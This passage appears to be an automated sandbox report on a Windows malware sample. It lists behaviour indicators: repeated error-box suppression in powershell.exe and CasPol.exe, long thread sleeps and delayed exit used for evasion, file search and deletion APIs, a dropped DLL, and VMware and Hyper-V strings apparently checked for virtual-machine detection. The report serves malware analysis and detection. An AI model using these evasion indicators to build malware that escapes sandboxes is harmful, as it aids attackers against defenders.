Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_0040E54F Sleep,ExitProcess,

18_2_0040E54F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

18_2_004198C2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5296	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4448	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6853	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2607	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1464	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 560	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3215	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6534	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Window / User API: threadDelayed 509	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Window / User API: threadDelayed 9003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Window / User API: foregroundWindowGot 1765	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7380	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5084	Thread sleep count: 6853 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6700	Thread sleep count: 2607 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7164	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7696	Thread sleep count: 1464 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7696	Thread sleep count: 560 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7780	Thread sleep count: 3215 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7780	Thread sleep count: 6534 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7824	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 8084	Thread sleep count: 232 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 8084	Thread sleep time: -116000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 8088	Thread sleep count: 509 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 8088	Thread sleep time: -1527000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 8088	Thread sleep count: 9003 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 8088	Thread sleep time: -27009000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	18_2_0040B335
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0041B42F FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,	18_2_0041B42F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	18_2_0040B53A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0044D5E9 FindFirstFileExA,	18_2_0044D5E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,	18_2_004089A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00406AC2 FindFirstFileW,FindNextFileW,	18_2_00406AC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,	18_2_00407A8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00418C69 FindFirstFileW,FindNextFileW,FindNextFileW,	18_2_00418C69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,	18_2_00408DA7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_00406F06 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

18_2_00406F06

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000003.00000002.1303936513.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: mshta.exe, 00000000.00000002.1289334698.00000000056A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\l
Source: wscript.exe, 0000000D.00000002.1393834666.0000000005010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: powershell.exe, 00000003.00000002.1303936513.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000010.00000002.1716425597.00000000073ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll0
Source: powershell.exe, 00000001.00000002.1427293959.0000000008AC6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1423686161.0000000007AA5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1424337882.0000000007ABE000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000012.00000002.3689257366.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000012.00000002.3692299440.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000003.00000002.1302780296.00000000034A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FnsTraceSession", "Stop-DtMSFT_NetEventVmNetworkAdatper.cdxmlWrit
Source: CasPol.exe, 00000012.00000002.3692299440.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,
Source: powershell.exe, 00000003.00000002.1303936513.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
